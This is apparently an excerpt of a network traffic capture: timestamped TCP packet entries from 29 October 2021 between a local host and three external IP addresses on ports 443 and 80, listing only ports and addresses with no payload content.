Oct 29, 2021 15:31:18.215761900 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.215846062 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.215868950 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.215883970 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.215893030 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.215976954 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.215996981 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.216048956 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.216542959 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.216598034 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.216639996 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.216666937 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.216682911 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.216713905 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.216775894 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.216829062 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.216871977 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.216901064 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.216916084 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.216964006 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.217643023 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.217685938 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.217758894 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.217784882 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.217803955 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.217859030 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.218411922 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.218446016 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.218512058 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.218549967 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.218565941 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.218611956 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.219024897 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.219058990 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.219147921 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.219177961 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.219193935 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.219242096 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.219263077 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.219301939 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.219363928 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.219382048 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.219394922 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.219436884 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.220122099 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.220191956 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.220278025 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.220325947 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.220345974 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.220395088 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.220819950 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.220877886 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.220957041 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.220978975 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.220994949 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.221039057 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.221091032 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.221129894 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.221194029 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.221226931 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.221261024 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.221283913 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.221858025 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.221911907 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.221961021 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.221982956 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.222002029 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.222033024 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.222070932 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.222121954 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.222213030 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.222244024 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.222264051 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.222320080 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.222913980 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.223048925 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.223089933 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.223141909 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.223156929 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.223192930 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.223212004 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.223283052 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.223334074 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.223370075 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.223404884 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.223417044 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.223459959 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.223598957 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.224014997 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.224055052 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.224109888 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.224126101 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.224153042 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.224190950 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.224720001 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.224761009 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.224814892 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.224858999 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.224872112 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.224934101 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.225006104 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.225039005 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.225107908 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.225125074 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.225136995 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.225183010 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.225701094 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.225734949 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.225836039 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.225857973 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.225874901 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.225914955 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.225950956 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.225960970 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.225966930 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.225976944 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.226072073 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.226732016 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.226763964 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.226819038 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.226831913 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.226844072 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.226851940 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.226897001 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.226908922 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.226927042 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.226958036 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.226998091 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.227013111 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.227024078 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.227070093 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.227741003 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.227792025 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.227835894 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.227849960 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.227881908 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.227912903 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.227961063 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.228009939 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.228070021 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.228084087 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.228096962 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.228131056 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.228517056 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.228548050 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.228631973 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.228646040 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.228657961 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.228723049 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.228766918 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.228796959 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.228867054 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.228880882 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.228907108 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.228919983 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.228934050 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.228946924 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.229001045 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.229027987 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.229036093 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.229063034 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.229115963 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.229543924 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.251826048 CEST	80	49851	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:18.251952887 CEST	49851	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:18.321938038 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:18.321988106 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:18.356411934 CEST	49851	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:18.357574940 CEST	49851	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:18.385262012 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:18.385291100 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:18.417788029 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.417845964 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.417963028 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.418267012 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.418292999 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.423315048 CEST	80	49851	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:18.424323082 CEST	80	49851	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:18.439706087 CEST	80	49851	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:18.456971884 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.459156990 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.459213018 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.517304897 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.517394066 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.517438889 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.517477036 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.517513990 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.517565012 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.517586946 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.517613888 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.517637968 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.517643929 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.517684937 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.517723083 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.517745018 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.517757893 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.517812014 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.517817974 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.517827988 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.517888069 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.517889023 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.517896891 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.517959118 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.517963886 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.517977953 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.518021107 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.518027067 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.518039942 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.518075943 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.518110037 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.518122911 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.518171072 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.518176079 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.518188000 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.518243074 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.518244982 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.518254042 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.518316031 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.518321037 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.518328905 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.518379927 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.518392086 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.518404961 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.518460989 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.518474102 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.518521070 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.518556118 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.518577099 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.518589020 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.518641949 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.518645048 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.518655062 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.518703938 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.518711090 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.518737078 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.518795967 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.518800974 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.518809080 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.518851995 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.518857956 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.518865108 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.518914938 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.518920898 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.518928051 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.518965006 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.518971920 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.518986940 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.519018888 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.520420074 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:18.535757065 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.535797119 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.535906076 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.535936117 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.535980940 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.536001921 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.536006927 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.536011934 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.536058903 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.536076069 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.536091089 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.536102057 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.536163092 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.536175966 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.536202908 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.536235094 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.536246061 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.536266088 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.536346912 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.536401987 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.536413908 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.536454916 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.536468983 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.536487103 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.536511898 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.536559105 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.536614895 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.536616087 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.536626101 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.536674976 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.536736012 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.536799908 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.536864996 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.536930084 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.537034988 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.537098885 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.537112951 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.537206888 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.537224054 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.537288904 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.537319899 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.537381887 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.546416044 CEST	49851	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:18.554482937 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.554610014 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.554651022 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.554672956 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.554688931 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.554723978 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.554790974 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.554802895 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.554861069 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.554862022 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.554883957 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.554923058 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.554999113 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.555063963 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.555074930 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.555116892 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.555131912 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.555140972 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.555182934 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.555231094 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.555294037 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.555306911 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.555345058 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.555362940 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.555373907 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.555404902 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.555460930 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.555529118 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.555547953 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.555583000 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.555604935 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.555615902 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.555643082 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.555706024 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.555777073 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.555788040 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.555823088 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.555845022 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.555856943 CEST	443	49852	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.555883884 CEST	49852	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.555938005 CEST	443	49852	162.159.135.233	192.168.2.7
